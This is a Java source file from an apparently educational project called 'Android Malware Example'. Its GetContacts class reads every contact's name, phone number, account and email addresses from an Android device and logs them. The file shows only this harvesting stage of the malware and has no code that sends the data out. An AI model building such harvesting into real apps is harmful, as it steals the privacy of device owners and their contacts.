/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.content.Context;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.util.Log;

import java.util.ArrayList;
import java.util.List;

/**
 * Created by darrylb on 10/3/16.
 */
public class GetContacts {

    Context context;
    ConfigParams configParams;
    List<ContactInfo> contacts;

    public GetContacts(Context _context){
        context = _context;
        configParams = new ConfigParams(context);
        contacts = new ArrayList<ContactInfo>();

    }

    public class ContactInfo {

        public String Name;
        public String Email;
        public String PhoneNumber;
        public String Account;

    }
    public List<ContactInfo> getContacts() {
        Cursor cursor = context.getContentResolver().query(   ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null,null, null);


        while (cursor.moveToNext()) {

//            String msgData = "";
//
//            for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
//               // Log.d(configParams.PROGID,Integer.toString( idx));
//                msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
//
//            }
//            Log.d(configParams.PROGID,"Contacts Cursor:"+msgData);


            ContactInfo _contact = new ContactInfo();
            _contact.Name= cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
            _contact.PhoneNumber= cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
            _contact.Account= cursor.getString(cursor.getColumnIndex("account_name"));

            String id = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));

            Cursor emailCur = context.getContentResolver().query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,null,ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = ?", new String[]{id},null);
            String _emails="";
            while (emailCur.moveToNext()) {
                String email = emailCur.getString( emailCur.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA));
                _emails+=email+":";

            }
            _contact.Email= _emails;
            emailCur.close();



            String result = String.format("Contact:  %20s  [%12s][%-25s] ", _contact.Name,  _contact.PhoneNumber, _contact.Email);
            if (configParams.Logging) Log.d(configParams.PROGID, result);
            contacts.add(_contact);
        }
        return contacts;

    }
}
